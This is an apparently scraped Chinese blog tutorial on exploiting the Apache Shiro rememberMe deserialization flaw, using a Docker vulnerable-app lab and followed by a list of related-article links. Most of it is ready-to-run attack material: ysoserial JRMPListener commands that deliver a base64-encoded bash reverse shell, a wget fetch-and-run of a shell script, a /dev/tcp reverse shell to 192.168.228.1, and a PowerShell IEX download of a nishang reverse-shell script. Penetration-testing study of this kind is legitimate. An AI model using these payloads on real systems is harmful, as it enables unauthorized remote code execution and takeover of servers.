环境搭建

docker pull medicean/vulapps:s_shiro_1

docker run -d -p 80:8080 medicean/vulapps:s_shiro_1       # 80是指靶机端口,可随意修改

Windows安装模块:pip install pycryptodome

挖掘思路


判断漏洞

登录的时候发现 rememberMe 参数,判断是 shiro

(外网可以访问的情况下)利用在线POC进行验证:http://sbd.ximcx.cn/ShiroRce/

利用 Python POC 也可以检测:https://github.com/Medicean/VulApps/blob/master/s/shiro/1/poc.py

登录:http://admin.dnslog.link/ 账号:test 密码:123456

也可以使用在线的 dnslog 平台:http://www.dnslog.cn/ http://ceye.io/

可以修改他的 dnslog 地址,如果收到请求了说明漏洞存在

漏洞利用


Linux 直接反弹 shell

生成反弹shell命令:http://www.jackson-t.ca/runtime-exec-payloads.html

(VPS)监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOC4xLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'

注意:靶机是 CommonsCollections2 真实环境一般是:5,我也碰到过是 3 的,到时随机应变

利用POC生成Payload

PS:网上可以找到POC和工具,也有一些大佬写了python可以直接利用的,下面是手工利用方法

(VPS)监听端口,执行 Payload,就成功反弹 Shell 回来了

Linux 利用下载 shell 脚本进行反弹 shell

在服务器创建一个 shell.sh 脚本,开启 http

bash -i >& /dev/tcp/192.168.228.1/2333 0>&1

进行监听,利用 wget 进行下载,当然也可以使用 curl

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'wget http://192.168.228.1/shell.sh -O /tmp/shell.sh'

执行 Payload,再次进行监听来执行 .sh 文件,同时服务器进行监听端口,等到shell反弹回来

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'bash /tmp/shell.sh'

windows 利用 powershell 反弹 shell

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.228.1 -port 2333"

本地环境搞了半天没成功,就不截图了。大概一样的操作,也可以下载下来执行。

文末

不懂代码,不懂分析,终究是个脚本小子啊。永远不知道文章会不会有下次更新,毕竟太菜和太懒了

Shiro 反序列化漏洞利用的更多相关文章

  1. Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性. 文章目录: 1.Shiro rememberMe ...

  2. 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)

    背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...

  3. 一次关于shiro反序列化漏洞的思考

    0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...

  4. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  5. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  6. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  7. CVE-2017-12149JBoss 反序列化漏洞利用

    CVE-2017-12149 漏洞描述 互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机 ...

  8. CVE-2017-3248——WebLogic反序列化漏洞利用工具

    著名的web中间件WebLogic被曝出之前的反序列化安全漏洞补丁存在绕过安全风险,用户更新补丁后,仍然存在被绕过成功执行远程命令攻击的情况,安全风险高,Oracle官方及时发布了最新补丁,修复了该漏 ...

  9. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

随机推荐

  1. Codeforces Round #667 (Div. 3) C. Yet Another Array Restoration (数学)

    题意:给你两个数字\(x\)和\(y\),让你构造一个长度为\(n\)的序列,要求包含\(x\)和\(y\),并且排序后相邻两项的差值相等. 题解:有排序后相邻两项的差值相等可知,构造的序列排序后一定 ...

  2. 使用docker时报错“net/http: TLS handshake timeout”

    问题原因 :该命令默认从docker远端镜像仓库中拉取镜像,但由于远端仓库的服务器是在国外,我们国内有的用户很可能都访问不到 解决:使用国内镜像仓库 docker pull registry.dock ...

  3. Cobalt Strike特征隐藏

    前言 首先红蓝对抗的时候,如果未修改CS特征.容易被蓝队溯源. 前段时间360公布了cobalt strike stage uri的特征,并且紧接着nmap扫描插件也发布了.虽说这个特征很早就被发现了 ...

  4. Zabbix 自动发现 & 自动注册

    自动发现 Zabbix 为用户提供了高效灵活的网络自动发现功能,有以下优点: 加快 Zabbix 部署 简化管理 无需过多管理,也能在快速变化的环境中使用 Zabbix Zabbix 网络发现基于以下 ...

  5. Linux添加系统调用

    Linux添加系统调用 1 概述 通常添加系统调用有两种方案: * 重新编译内核 * 添加内核模块 此处我们采用重新编译内核的方式增加系统调用. 实验环境:X86_64 GNU/Linux 4.15. ...

  6. 求第n行杨辉三角(n很大,取模

    1 #include <iostream> 2 #include <cstdio> 3 4 using namespace std; 5 typedef long long l ...

  7. node --experimental-modules & node.js ES Modules

    node --experimental-modules & node.js ES Modules how to run esm modules in node.js cli $ node -v ...

  8. Linux & change username & computer name & .bashrc

    Linux & change username & computer name ubuntu change username and computer name https://ask ...

  9. node cli & emoji

    node cli & emoji cli $ yarn add node-emoji $ npm i node-emoji https://github.com/omnidan/node-em ...

  10. yarn create & npx & npm init

    yarn create & npx & npm init https://www.npmtrends.com/npm-vs-npx-vs-yarn demo https://www.n ...